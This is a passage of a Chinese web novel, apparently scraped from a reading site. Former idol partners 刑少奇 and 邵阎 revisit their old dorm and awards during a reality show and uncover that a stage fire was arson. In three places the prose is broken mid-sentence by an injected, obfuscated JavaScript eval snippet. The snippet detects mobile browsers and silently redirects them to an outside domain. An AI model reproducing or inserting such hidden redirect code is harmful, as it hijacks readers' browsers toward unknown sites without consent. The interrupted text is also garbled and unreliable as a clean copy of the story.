发布厅里零星竖着几把椅子,往前走,就是刑少奇习以为常的发言桌,上面的话筒已经落灰,背后的屏幕不知何时拆卸掉了。 刑少奇对这里可谓是轻车熟路,他还记得当时在这里辟谣道歉的场景——面前是无数的闪光灯,记者锐利的提问犹如刀锋,身后的屏幕上是邵阎深夜私会被狗仔偷拍的照片。 图片上的邵阎用外套盖住了约会对象的脸,把对方严丝合缝地包住,自己则暴露在镜头下,对着狗仔皱眉。 屏幕下方,刑少奇坐在主位。所有问题皆由他回答。 记者:“上面的人真的是你吗?” 刑少奇:“是。”——当然不是。 记者:“据说你们不睦已久,为什么你还要深夜去找邵阎?莫非你们有什么不可告人的关系?” 刑少奇抿了抿唇:“只是工作需要。”——是有不可告人的关系,我是原配,上面的是小三和我的男友。 “可是你和邵阎出行,为什么要这样遮遮掩掩,逃避镜头?” 刑少奇深吸了一口气:“深夜见面,我没戴口罩,他帮我。”——因为上面是出轨现场,他们心虚。 而我作为唯一的受害者,在帮他们遮掩。 这样荒谬的真相,刑少奇说出来,恐怕也没人敢听。 他就这样帮着邵阎遮掩,每一次邵阎被拍到私会,都是他亲口解释,亲自道歉。始作俑者却躲在屏幕背后,将一切都推给刑少奇。 和邵阎搭档的日子,刑少奇以组合的身份道歉了无数次,为邵阎,为组合,唯独没有为他自己。 就连经纪人偶尔也会可怜他,“等解约以后,你还是跟着我吧,你有实力,到哪里都能火的。” 就这样忍气吞声,攒着每一笔演出费和通告费,接各种私活,最后悉数还给邵阎。 而刑少奇唯一一次,看到邵阎以组合的身份道歉,还是在昨天看到的那则新闻报道里。 刑少奇来到桌前,拨弄了下话筒,邵阎在他身后,忽地开口。 “不是绯闻。” 意识到自己走神的刑少奇“嗯”一声,“不用和我解释。” 经过上午的采访,刑少奇已经完全失去了和邵阎交谈的欲望。这么多年过去,邵阎还是没有改变,和他说话仿佛对牛弹琴,听得刑少奇只想沉默。 都说叫不醒装睡的人,刑少奇通过邵阎,觉得也叫不醒装聋的人。 这种从不觉得自己有错的家伙就像另一个物种,刑少奇深感和邵阎交流好像物种尝试杂.交。 可是邵阎望着发布厅那块不存在的屏幕,屏幕背后的墙面比其他地方更白,在光下投射出明显的分割。 “我和秦然,没有进行过标记,也从来没有逾矩的行为。我去找他……”邵阎顿了顿,“是因为别的事。” “所以那不是绯闻。” “……”刑少奇捏住话筒的手指松开,发觉手套上沾了灰。 正准备找纸巾擦手,邵阎便递了过来。 “拿着吧。”邵阎看着他的手。 刑少奇随手拍去手套上的灰尘,“不用了,脏。” 邵阎伸出的手顿在空中,一时间,他分不清刑少奇是说什么脏。 刑少奇抬起头,看向邵阎,“不管你们是什么关系。” “深夜幽会是真的,私下聚会是真的,那些被拍到的照片也是真的。” “我为你们遮掩道歉,更是真的。”刑少奇缓慢地说,感觉有种诡异的钝痛在心脏里蔓延,时过经年,他并非对邵阎旧情未了,他只是很可怜,可怜当时在刀锋般的镜头前被迫低头致歉的自己。 那时候他经常说对不起,说占用了公众资源很对不起,说自己代表组合表示很对不起。 他对不起谁呢?他最对不起自己。 是不是绯闻,有什么关系。邵阎的深情与后悔,又有什么价值?能让当时的刑少奇少说两句对不起吗?能让他在镜头前少鞠一次躬吗? 这些过期的愧疚和后悔,无法补偿到过去的刑少奇身上,那现在的刑少奇要了又有什么意义? 邵阎拿着那张纸似乎在发呆。他之前也被刑少奇嘲讽过,但那些他都有理由辩解,只是不想在镜头前过于失态。 唯独这一次,当刑少奇拒绝他,说出“脏”这个字时,他无端想起很久之前和刑少奇的相处。 他总说脏,总是觉得别人碰过的东西带着汗渍和细菌,所以刑少奇和他相处时总是带手套,随身携带酒精。 他不喜欢别人碰自己的东西,不喜欢和人肌肤接触。 他觉得这是自己的习惯,不会打扰别人,不会影响他人,所以也不应该被人指责。 但轮到刑少奇嫌弃他的时候,他居然感到…… 一丝羞耻。 和恼怒。 再联想到自己也曾这么说时,那些负面情绪忽然像是冲入海水,一片难以形容的情绪化作波浪,在他的大脑里冲刷。 当时刑少奇是怎么想的?也会觉得羞耻,觉得恼怒,觉得不甘吗? 邵阎握紧了那张纸。 他不知道。 他只是感觉自己伸出去的那只手好像隐隐传来刺痛,那痛感顺着他的血脉不断延申,他的心因为难言的情绪皱缩了一瞬。 他感觉自己好像……才是刑少奇觉得脏的东西。 再回神时,刑少奇已经走出了发布厅。他刚要顺着刑少奇的脚步迈出去,忽地发现自己手中的纸巾被揉成一团,指尖用力,深深埋入纸巾里。 这张破破烂烂的纸巾,看着是挺不干净的。 凝神看了那张纸一会儿,邵阎找了地方把它扔掉。 老旧的公司大楼目前只用于行政办公,似乎是由于拍摄,所以工作人员都暂时迁出。 那些练习室基本都停止了使用,大部分都被改装成办公室。 但邵阎说,宿舍没怎么变。 刑少奇闻言看了他一眼:“你之前来过?” 邵阎正在按电梯,轻车熟路的样子,“……你可以看看公司的股东现在是谁。” 刑少奇一听他这话,也懒得去看,毕竟当时就知道最大股东姓邵。邵阎子承父业,不是什么怪事。 “知道了,是你。” 邵阎的目光落到他身上,“你没看就知道?” 刑少奇深感他在没事找事,“知道你继承家业了。” 邵阎的目光落下去,半晌,刑少奇听见他说,“不是继承。” 也是这时候,电梯门打开,刑少奇跨出去,却被邵阎拉住。 “你走错了。”邵阎皱眉道,指了指相反的方向,“我们的宿舍在这边。” 刑少奇把自己的袖子从他手中抽出来,“我没走错。” “我十三岁开始练习,四年的时间,都在这间宿舍。” “和你组队,那是后来的事情。” 走上熟悉的走廊,刑少奇依着记忆找到房间。 他推开门,映入眼帘的是间双人寝室。很狭窄,只有一张上下床和一张书桌。屋子里甚至连卫生间都没有——因为这一层都是寝室,他们是共用卫生间。 正如邵阎所说,宿舍没怎么变。 刑少奇有些怀念地看着宿舍。拉开椅子,曾经对于他来说有些高的书桌现如今居然显得低矮。 “……你就住这里?”邵阎的声音从身后传来。他和刑少奇刚见面时就已经是准备出道的状态,加上有后台,所以安排给他的宿舍环境要比这里好很多。 饶是这样,邵阎也经常嫌弃宿舍太小,没有足够的活动空间。出道后迅速离开了宿舍。 他皱眉的样子让刑少奇觉得可笑。 刑少奇道,“我在这里住了4年。” 目光抚过书桌,刑少奇惊讶地发现右上角还有留下的胶印。那印记似乎从刑少奇刚进入这里就存在了。 不知道最开始是谁留下的。但刑少奇见到的时候,那里贴着张已经风干发黄的便签,上面写着“我一定会出道的!”几个字。 而它的主人是否真的出道了?刑少奇不知道。 他只是把便签摘了下来。于是那印记便残留在上面。 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673639|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某次月考获得评级A时,刑少奇在床上辗转反侧,最终也撕下一张便签,贴在了同样的位置。 “这里……?”邵阎语气里沾着不可思议。他在这狭窄逼仄的空间呼吸都觉得不适。 哪有这么可怜,这么困难。邵阎自己不也是出道的。 他怎么没有这样? “这里。”刑少奇道,“比你想象中差很多吧。” 他没有看邵阎,只是声音很平地:“邵阎,我说了,你从来没体会过真正的练习生活。” 练习生的竞争是残酷的。 对于练习生时期的刑少奇来说,他不会去思考这样的住宿条件算不算好。 他只在乎自己会不会淘汰,会不会失败。 毕竟练习生某种意义上是消耗品,从面试开始就被划分等级,标明品类。 刑少奇进来就是vocal组,要从最低级的D班一步步往上,经过残酷的周考、月考、一轮轮淘汰后,终于在17岁那年进入A班,也就是预备出道的班级。 在这里,他也不一定能出道。只是作为出道组合的备选,要和一群人一起练习出道曲,经过重重考核与淘汰,才能最终定下位置。 刑少奇很努力,也有天赋,但他的运气似乎总是不好。 成为备选不久,刑少奇出了车祸。 住院的记忆在刑少奇印象里其实有些飘渺,因为那时他正处于分化期,因为车祸导致失血过多,令他本该生长的腺体陷入了停滞。 最终腺体停止生长,很长一段时间,他都被判断为beta。 这场车祸带走的,除了刑少奇的腺体,还有他的omega母亲。 母亲逝世后,治疗费压在刑少奇身上。尽管有保险和另外赔偿,但对于没有什么收入来源的刑少奇来说,这是笔难以偿还的巨款。 出院后,距离最终敲定人选的日子已经不远。所有人都默认这个脸色苍白的beta不会被选中——他实在缺席了太久,身体又太差。 同期、老师、几乎所有人都告诉刑少奇,放弃吧,还有机会,不要勉强自己。 脖颈上还缠绕着绷带的刑少奇没有点头,也没有说话,只是沉默地进了练习室。 刚经历过病痛失血的身体,很难维持长时间的高强度练习。刑少奇能感受到自己的体力因为虚弱大幅度下降,能清楚地认识到自己的身体素质不如之前。 他无比清楚自己的状况,但他没有放手。 直到一次又一次在练习室昏倒,直到生疏的动作再度熟悉,直到喉咙里泛起血腥气都变成常态。 最终的出道名单里,有了刑少奇的名字。 公布名单时,哪怕是同期的竞争者,也为刑少奇鼓掌。 欢呼和庆贺声里,刑少奇被队友簇拥,他脑子里唯一出现的,是那张多年前粘在书桌上的便签。 他想,我终于可以把它摘下来了。 已经实现的目标,就不必贴在桌上,日日想,夜夜念。 “……只是可惜,我还是没在那个组合出道。” 刑少奇道。 那样凝结着汗水和血的位置,在邵阎轻飘飘的一句话面前,变得无足轻重。 刑少奇就这么轻而易举地,失去了自己的出道位。 对于从来没有这些经历、一进来就确认要出道的邵阎来说—— 在刑少奇、在那些一点点爬上来的练习生眼中,无比珍贵的出道位,是很重要的东西吗? 答案不言而喻。 所以他才能毫不犹豫地答应秦然。 所以他才觉得,夺走刑少奇的机会,又给他一个机会,他们就算两清。 刑少奇起身,和邵阎四目相对。 这一次,邵阎率先避开了目光。 他的视线垂下,落到刑少奇身后的书桌,看到那上面风干的胶印。 有点脏,有点陈旧。 他的脑子里忽然冒出来年少的刑少奇,在半夜写下一张便签,一笔一划,刻出自己的心愿。 不知道为什么,邵阎忽然无法开口说话。 9.落荒而逃 走出那间狭窄的宿舍,往另一个方向走,才是邵阎熟悉的双人寝室。 两室一厅,一尘不染,看起来就有被好好打扫。 刑少奇环顾四周,发现就连家具摆放都和记忆里完全一致。 “刻意还原的?” 邵阎倚在门框边:“没让别人住过。” 刑少奇自事故之后就与公司解约,这些年来还是第一次重返故地。他虽然知道邵阎是特权阶级,但也没想过对方会把这间宿舍刻意保留,目之所及,几乎一切都和记忆中相差无异。 铺了毯的地板,放在角落的吉他,刻意收拾出来的柜子顶层,还放着两人出道后获得的奖杯。 刑少奇伸手去拿,拨开一众金光闪闪的荣誉,在深处翻找。 邵阎原先抱胸看着,后来站到他身边,伸出手,抓出一个不起眼的奖杯。 邵阎比刑少奇高出一个头,拿东西比刑少奇方便些。 “是这个吧?”他把奖杯放在手里晃了晃。 刑少奇接过来,在奖杯下方看到几个字。 “最佳新人奖”。 邵阎拍了拍手上的灰,用消毒湿巾擦干净指缝,道,“这是我们的第一个奖。” 说不上是心有灵犀还是默契依旧,但这确实是刑少奇想要的。他用指腹摩挲过奖杯上的文字,除了组合名,还单独写下了两人的名字。 刑少奇“嗯”一声,“很有纪念意义。” 这句话让邵阎擦手的动作慢下来,心理上对污渍的抵触没能盖过内心的起伏,他的目光掠过刑少奇拿奖杯的手,咳了一声:“我记得那年拿奖很难。同期的新人实力很强,还刚好撞上选秀综艺开始流行,不少公司推出新概念团体……” 刑少奇也记得那段时光:“最辛苦的时候,几乎每天睡觉的时间都拿来写歌练舞,同一首歌练习了几百遍……还好拿了第一。” 邵阎也看向那奖杯:“应该的。” “我们的实力,拿奖毋庸置疑。” 组合出道除了实力,还看运气。邵阎的后台可以左右出道位置,却不能肆意操纵大众的喜恶。 所以在起步的时期,哪怕是邵阎也度过了一段艰难时光。 那时候没有粉丝,没有鲜花和掌声。只有两个人在练习室里彻夜不休,等月上梢头,连走廊的灯都灭了的时候,刑少奇偶尔会问:“我们能行吗?” 邵阎便看他一眼,说你要是再躺着,肯定是不行。 于是刑少奇歪过脑袋来瞧他,额头的汗珠滑下。 那时候邵阎已经知道他做过手术,身体吃不消。但没有办法,观众不会因为有伤就体谅你在舞台的失误,更不会因为你身体不好就大发善心给你砸钱买销量。 这个道理,刑少奇知道,邵阎知道,所有被当作消耗品的练习生都知道。 只是那个时候,刑少奇望着邵阎,忽然说:“要不要改回来。” “什么?” 刑少奇还有点喘,剧烈运动给他造成的负担不小,他说:“现在的休息时间是十五分钟,但你之前都是休息十分钟吧?改回来?” 邵阎沉默了一瞬,和刑少奇对视。他并没有告诉过刑少奇这些。 他确实是因为刑少奇身体不好,改了休息的时长。但他没想过告诉刑少奇这件事。 嘴上说的东西难免有夸大之嫌,刻意去说自己做了什么,在邵阎眼中像是一种乞讨与要挟。 他做事,从不期望对方回报,也从不考虑要从对方那边获得什么。 但刑少奇好像透过他的行动看穿他的思绪。 邵阎最终说:“……五分钟而已,耽误不了什么。” 而刑少奇还在看他,看得邵阎几乎要别过目光。 邵阎觉得刑少奇未免有些得寸进尺,看穿了他的好心又怎么样呢?他只是担心刑少奇猝死了还得找地方埋而已。 刑少奇那双绿色的眼睛眨了眨:“谢谢。” 邵阎的心情变得有些微妙。 被刻意掩埋的好意,忽地被刑少奇找了出来。这让邵阎感到些许羞耻。好像那本该灰尘扑扑不被看见的心意,突然被细心拂去上面的灰尘,被人妥善接住。 刑少奇爬了起来,用手撑起身体。邵阎坐的地方离他不远,他便蹭着过去,等邵阎眼前浮现一片阴影时,两人已经靠的很近。 刑少奇想着他的洁癖,还往后退了点,开口道:“还是改回来吧。” 他说,“我想拿第一,你也是吧?” 邵阎一愣。 “我知道你是大少爷,你也没说自己在乎这个奖……但是我觉得你是想要的。时间不多了,我可以坚持。” 刑少奇的眼睛望着他,“我想和你登顶。” 邵阎拨弄吉他弦的手忽地停了下来,良久,吉他突然爆发出一阵混乱的旋律。 刑少奇吓到,看向邵阎,对方轻咳了一声,找补着:“……试音。” 从那时起,刑少奇就看的出邵阎口是心非,看得出他嘴硬。 所以很多时候他不会刻意追着邵阎询问。让邵阎这种人说出真心话的难度不亚于杀人,所以刑少奇也不想和他争吵。 很多时候,看着邵阎闭口不言,他便也不愿意继续谈下去。 没什么意义。争吵某些情况下是一种交流方式,但对于邵阎这种人,争吵只会令他口不择言,产生许多伤人的龃龉。 熟知邵阎的性格,便明白言语很难让这个人认错,只有实打实的证据兜头浇在他脑袋上,才能让邵阎心服口服。 刑少奇想把奖杯带走。但上面除了自己,还有邵阎的名字,他又有点嫌弃。 邵阎看得出他的犹豫,但似乎误解了什么:“换一个?” 新人奖的奖杯有点陈旧,底座甚至掉了漆。邵阎以为刑少奇是在犹豫这个。 摇摇头,刑少奇把奖杯放回原处:“不用了,其他的都有别人名字。” 他随手拿下最大的奖杯,是最佳作曲奖。此时组合名已经改变,获奖人变成了三个。 除了他们俩,还有秦然。 那边的邵阎忽然明白了刑少奇的嫌弃,琳琅满目的奖项里,只有新人奖是完全由他俩的心血和汗水组成。 他们搭档的时间不长,拿的奖其实也不算多。 大多时候,获奖名只会写组合的名字。等到了后期,邵阎为了捧秦然,就连作曲也会给秦然挂名。 新人奖算是为数不多,写明刑少奇名字的奖项。 尽管它有些残破,也不是重要的大奖,但它对于刑少奇来讲,比其他奖杯更加有意义。 “……那只是个名字。”邵阎深吸了一口气。他本想再度沉默,但位高权重久了,已经很少有这样哑口无言的情况,他能感到自己的情绪沾染上愤怒,一点点聚沙成塔,控制不住地从口中发泄出来。 秦然、秦然,怎么所有事情都要提他。 “我说了,和秦然只是朋友,没有任何逾矩的关系。当时分给他的署名,已经按宣判给你补偿。他干的错事、教唆的人,我也都处理干净。”邵阎深深地吸了一口气,“……别再提他了。” 秦然在邵阎眼里,就只是一块挡箭牌,两人恋情里的一颗石子,有那么重要吗?至于这么几次三番地提及吗? 为什么刑少奇还要喋喋不休,一直用秦然要挟自己? 邵阎不明白。他的情绪在心间不断涌动,他不清楚内心那种微妙的恼怒源于何处,只是每一次刑少奇搬出往事,每一次令他哑口无言的时候,那股恼怒便会悄悄绕上心头。 好像不见光的东西被刑少奇撕开了,令邵阎感到些许不堪。 这份不堪迫使他沉默,迫使他闭口不言。 而这两天,从刑少奇给出的那张纸巾,到发布厅回忆往事,一桩桩、一件件,令邵阎沉默了太多次。 也让愤怒与不堪一缕缕纠缠起来,一簇簇汇聚起来,最终在看到那间狭窄宿舍时,变成涌动的江流,汇入邵阎的血管,流向他的四肢百骸。 他感觉浑身僵硬,不可置信。 在那里,他听到了自己完全不曾了解的刑少奇。看到刑少奇的汗水与努力,四年的艰辛与秦然几句撒娇就空降得来出道位的画面,形成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700443|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜明对比。 他说不出“正常”两个字,因为书桌上那个胶印如此扎眼,那泛黄的印记仿佛是凝聚着刑少奇四年的幻梦,对于破坏了这场梦的罪魁祸首来说,除了抿唇沉默,似乎也不能有其他反应。 刑少奇毫不避讳他的目光,直言,“可那就是我们的过去。我只是实话实说,你为什么哑口无言?” 他们站在凝聚着二人心血的宿舍里,脚下踩着二人共同挑选的地毯,身旁的柜子上还有无数金光璀璨的奖杯,各个都铭记着二人无法忘怀的过去。 邵阎的声音沙哑不堪,他扶住柜门的手指蜷缩,用力大到手背的青筋突起,留下刻痕般的阴影。 他说:“……真相不是你想的那样。” 邵阎扶住柜子,只觉得情绪如滔天海啸,四下奔涌,令他呼吸困难,犹如溺毙。 刑少奇知道我做过什么吗?知道那些事实真相究竟如何吗?只凭着表象便指责不忠,为什么不能…… 为什么不能,像发现他刻意修改了休息时间那样,发现他做的其他事情。 他不说,刑少奇就不能发现吗? 而刑少奇往前一步,同样撑住柜门,他的眼睛望着邵阎:“那是什么样?邵阎,你什么都不说,是什么都要我猜吗?” “和你组队的时候,猜你为什么要改休息时间;和你恋爱的时候,猜你和秦然的关系正不正常;现在来节目,还要猜你当初做那些事情,是不是有隐情,是不是有内幕。” “为什么要提秦然?” 刑少奇重复了一遍,逼近了邵阎,“因为他是你的白月光,你最重要的‘朋友’,你在火场里,都要第一个救出来的人。” 刑少奇幽幽道:“哪怕当时我也在火里。” “你这样的表现,是要我想成什么样,才能替你开脱、帮你解释。” 一时间,好似泼天的洪水猛地浇下,邵阎怔愣在原地,久久不发一语。 良久,他的唇颤抖着:“那次火灾…我当时,不是——” 叮铃一声,铃声打断了两人剑拔弩张的气氛。 邵阎好像从地狱脱身,立马掏出手机。 他看到一个陌生号码,但此刻顾不得许多,只想马上结束和刑少奇的话题。 接通后,对面传来一个男声。 “邵总,很抱歉打扰。” “我是少……刑少奇当时的队友,听说您在查当年的事情,想了很久,还是决定和您说清楚。” 邵阎握着电话,他有些茫然地听到对面继续道。 “……刑少奇,没有能力不足,没有品行不端,那是秦然为了顶替他的位置,逼迫我们说的借口。” “我很抱歉,当时为了保住自己的位置撒谎,但希望您可以查清事情真相。” 剩下的话邵阎已经听不清楚,只是身上忽地传来一阵寒意,等到理智回潮,他忽然发现自己掌心一片濡湿,电话已被挂断。 抬头,和刑少奇对上眼神时,邵阎终于感受到那股莫名的愤怒、隐约的不堪源于何处—— 他一直以为,自己是在施舍刑少奇。 虽然有诸多对不住刑少奇的地方,但总归一开始,如果没有他的首肯,刑少奇就只能明珠蒙尘,哪有后面的出头之日? 更别提当时自己给予钱财,帮助刑少奇度过了最艰难的日子。 刑少奇理应对他报恩。 哪怕刑少奇确实受了点委屈,但总的算下来,也算两清,他不曾亏欠对方。 邵阎一直这么认为。 可现在突然得知,如果不是他,刑少奇本可以正常出道,他的演出费足以抵扣债款,他本来不用经历那事—— 邵阎呼吸几乎停了一瞬。 好像一根刺突然从心脏里冒出锐利的边,他突然意识到。 那些偏心、无视,假如失去了“报恩”的由头,便成为了单纯的精神虐待。 邵阎不能承认,不能松口。 如果承认了,那他就是在承认,自己是造成刑少奇痛苦的根源,一切的罪魁祸首。 他几乎落荒而逃。 10.三角重逢 邵阎的突然离去令节目的收视率陡然上升,一时间在网络上舆论四起,但此刻的刑少奇并不知晓,也不关心。 他只是望着邵阎离去的背影若有所思。 提起火灾,邵阎那奇怪的反应出乎了刑少奇的意料——那句“不是”,是在指什么? 刑少奇不知道。 邵阎那副略显慌乱的样子,像是有什么刑少奇也不曾知晓的隐情。 问题是,当年那次火灾,被判定为事故。而邵阎拉住秦然的手,是刑少奇亲眼所见。 有什么隐情?哪方面还有隐情? 刑少奇垂眸。 难道那场火灾,还有别的内幕……? 思索之中,只听到有人叫了自己一声。刑少奇回神,看到节目组递来一张信纸。 他拆开,里面大致是说,下一期节目将邀请两人的旧友,通过亲友视角指出两人关系的郁结,令两人回心转意,懂得对方当年的不易。 节目组备了马克笔,可以在信纸上写下刑少奇想要邀请的旧友姓名。 不过因为要确保旧友可以参与录制,所以刑少奇需要提前与人联系,以保证这位旧友有时间。 三天之内,刑少奇需要确定自己选择的‘旧友’。 至此,第一期节目结束。 从采访到重游公司,无数话题令网友深扒起当年的蛛丝马迹。如果说上午,还有邵阎的粉丝在为其开脱,辩解黑幕和三角恋情的黑历史。 那下午邵阎接的那通电话,便让他处于风口浪尖,也让舆论走向了高潮。 按照道理,那通私人电话不该暴露。但当时正处于直播时间,邵阎的耳麦夹在领口,而他似乎是过于慌乱,接电话时居然没有闭麦。 通话内容就这么沿着网线迅速传播开来。 舆论尘嚣而上的同时,刑少奇坐在车里发呆。 这是辆不起眼的商务用车。刑少奇坐在驾驶位,隔着贴了防窥膜的车窗,他的视线掠过层层叠叠的高楼,闪烁的灯光如星河在他眼底汇聚。思绪便沿着这条光河不断流淌—— 邵阎隐瞒的事情,是什么呢? 那场火灾有什么他不了解的隐情吗? 刑少奇抽出一根烟,放在指尖旋转,夜色逐渐包裹车辆,他的脑中不断浮现当年的大火。 半晌,他握住方向盘,踩下油门。 车辆疾驰,在道路上碾下轴印,途径车水马龙的市中心,刑少奇驱车隐入偏僻无人的郊区。 最终,车辆停在一处老旧的建筑前,门口的标识牌摇摇欲坠,写着“市体育场”四个字。 刑少奇没有下车,而是从口袋里掏出响了许久的手机,对面那人声音温柔,叫了一声“少奇”后,继续道:“你的定位在废弃体育场。” “我记得你说自己是去录制综艺,我想这综艺应该不需要去荒郊野岭探险。” 刑少奇拔了车钥匙:“夫人,再荒郊野岭,只要我的位置没有超出范围,你都没有必要这样监视我——你打了17通电话。” “……我已经准备解除婚约了,你不用叫我‘夫人’,叫名字更好。”对面人道,“好吧,我不该这么说……我只是想知道你为什么要去那里。” 在刑少奇准备开口前,他的声音软下去,“不是作为你的监护人,只是作为你的朋友。我很担心你,少奇。你的腺体还没有好,omega的身体又很孱弱,我也是omega……没有人比我更了解这些。你孤身一人,午夜驱车去荒郊野岭,我实在很担心你的安全。” omega软和的声音在冷冽的夜风里像是柔软的云朵。刑少奇毕竟做了好几年beta,照顾o的思维根深蒂固。对着一个柔弱的omega,他说不出什么重话。 “……孟怀义。”他最终叫对方的名字,望着不远处的建筑,声音飘散在夜风里,“这里是我最后一次演出的地方,我想来看看。” 说话的时候,刑少奇走出车门。废弃的体育场看起来有些阴森,四周昏暗无光,就连路灯也明明灭灭。 刑少奇低头,看到自己的影子被数盏路灯映着,随着半明半暗的灯光,看起来人影憧憧。 孟怀义的声线未变:“是因为见到了邵阎,所以你去了那里?” 刑少奇将外套的扣子扣好,打开手机的电筒,白光照在地上,沿着落灰的箭头标识,他进入体育场的大门。 他忙着动作、没有出声的这几分钟,似乎在omega耳中变成了一种默认。于是孟怀义的声音更软:“你要是对他旧情难忘……我可以帮你。” “你是想要他的腺体,还是他本人也要?……或者他的,哪一部分,你比较喜欢?” 刑少奇跨步的动作顿了下,“你又开这种玩笑。” “我只是缅怀下过去,和他无关。” omega在电话那头笑了一声,不知道是不是刑少奇的错觉,孟怀义的笑意似乎真切了几分。 和孟怀义的聊天内容让四周的阴森都加重了不少,好在omega很快恢复了正常,没再讲瘆人的笑话。 和正常的孟怀义聊天是件舒服的事,omega声音温软,谈话不紧不慢,进退有度。 在两人有一搭没一搭的谈话里,刑少奇走进了场馆,一束光从他的手机背面投射,落在地板上,照亮了寂静幽暗的长廊。 沿着一路的标识,刑少奇找到了后台的入口。 进去前,手电的光束落在门把手上。 刑少奇看到没有门把上没有尘埃,这和四处落灰的大门形成鲜明对比。 他顿了片刻,打断了正在说话的孟怀义,声音很平,很轻:“要是听到了什么,马上来找我。” 接着,他推开门。 废弃的门扉有些老化,刑少奇关了手电筒,令自己淹没在黑暗与寂静里。 他放轻了脚步,双眼适应黑暗后,借着手机屏幕的微光前进。 手机那边也静下来,刑少奇感觉自己脖颈的环轻微震动了一下,他知道这是孟怀义在表示自己在听。 四周伸手不见五指,又有不少废弃的器材,刑少奇走得很慢,在漆黑一片的后台,只有他的呼吸和寥寥的风声混合在一起。 沿着墙壁走上台阶,靠近舞台的时候,刑少奇听到了除风和自己的呼吸之外的声音。 ——“来这里能找到什么?邵阎。你犯病可别拉着我。” 刑少奇脚步顿住。 这是室外体育馆,踏上最后一节梯,就能站上舞台。 今晚月色明亮,白雾般挥洒在广阔的场馆里,刑少奇看到两个人影在月色中站立,一人站在角落里,另一人离得远些,双手抱胸站在旁边。 月光把那人的脸照亮,看清的时候,刑少奇的心猛然落下去。 ——居然是秦然。 站在角落的那个人没回应,只是走出来。是邵阎。 夜半私会?在这里? 刑少奇的内心颇感微妙。他挂了电话,与孟怀义的消息却是【没什么好看的,我待一会儿就回去】。 对面人的消息回的很快:【好的,注意安全,回去时和我联系。】 又补了一句。 【没接到消息,我会一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745418|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等你。】 “……”刑少奇的手指落在屏幕上,半晌。 【好。】 熄灭屏幕,刑少奇的心情有点微妙,他刚做omega不久,不清楚这是不是omega之间特有的好意。 但风中传来的对话令他的思考被迫中断。 秦然问了一句:“当时不都定下了?这就是电路老化导致的事故。” 邵阎却道:“那是对外界的说法。真正的原因,你我心知肚明。” “那不是意外。” 仿佛一阵风吹进刑少奇的心口,他的血液似乎在一瞬间凝固,停止流淌,冷汗从脊背滑落,风吹过,落下一片寒意。 一时间,刑少奇连呼吸都几近停住。 视线扫过舞台,那场大火在刑少奇眼前重新燃烧—— 那是刑少奇最后一次站上舞台。 那时候,他和邵阎的关系已经走到了尽头。两人不和的传闻登满小报与八卦杂志,刑少奇还完了欠下邵阎的债,只等着和公司的合约结束。 那段时间,邵阎捧秦然捧得愈发变本加厉。不仅在歌曲署名里带上秦然,还邀请秦然作为舞台的助唱嘉宾。 三人首次同台,便是这次演唱。 唱到中途,浓烟四起,没等刑少奇反应过来,舞台已经瞬间塌陷!冲天火光燃起,刑少奇被倒塌的设备压住,火舌席卷而来,在呛鼻的烟尘里,火焰熊熊燃烧。 刑少奇难以自行挣脱,开口求救时,视线里,却是浓烟中两个模糊的人影,携手奔出火场。 他的意识在火焰与烟雾中逐渐溃散,疼痛和灼烧感掐灭了最后的感官。等到刑少奇再度醒来,已经身处医院。 这场火灾,除了刑少奇被烧伤,其余无人伤亡。 刑少奇的右手微蜷,薄薄的黑色手套覆盖住手背肌肤,被遮盖的皮肤上是经年难消的伤疤。 秦然脸色一变。 月光洁白,他的肤色却几乎与月色融为一体,良久的沉默后,他开口:“……这只能是意外。” 秦然烦躁地抓了下头发,“已经这么多年,该查的都查遍了。邵阎,你在这上面已经投得够多,钱、时间、甚至你的嗓子……你清楚这不是一笔合算的交易。” “做到这一步已经足够了。没必要再这么查下去,折磨自己做什么呢?” 暗处的刑少奇揉搓了一下指腹,听到‘嗓子’两个字,眯了眯眼。 邵阎默了默,半晌,他开口:“我始终觉得……他不是放火的真凶。” 刑少奇猛地握拳。 多年前的事故突然被告知是人为,这让刑少奇深感荒谬。但对比自己来综艺的原因,他很快便接受了这个讯息。 原来早在那时候,他就被盯上了。 偷听到的对话带来了巨大的信息量。刑少奇思索着该如何顺着这个线索查下去,然而秦然的下一句话,令他的思路断开。 秦然:“可真凶已经死了。” 顿了顿,“……堂堂公司高层,死得那样蹊跷。却没有任何人在意。这不是恰恰说明,这场火灾,只能是事故吗?” 邵阎沉默不语。 秦然叹了口气:“反正刑少奇也不知道这些,只要他觉得是事故,那就——”他忽然卡了壳。 舞台空阔,四周的尘埃被风吹起,融入月光。 刑少奇站上最后一道阶梯,与两人同沐月色。 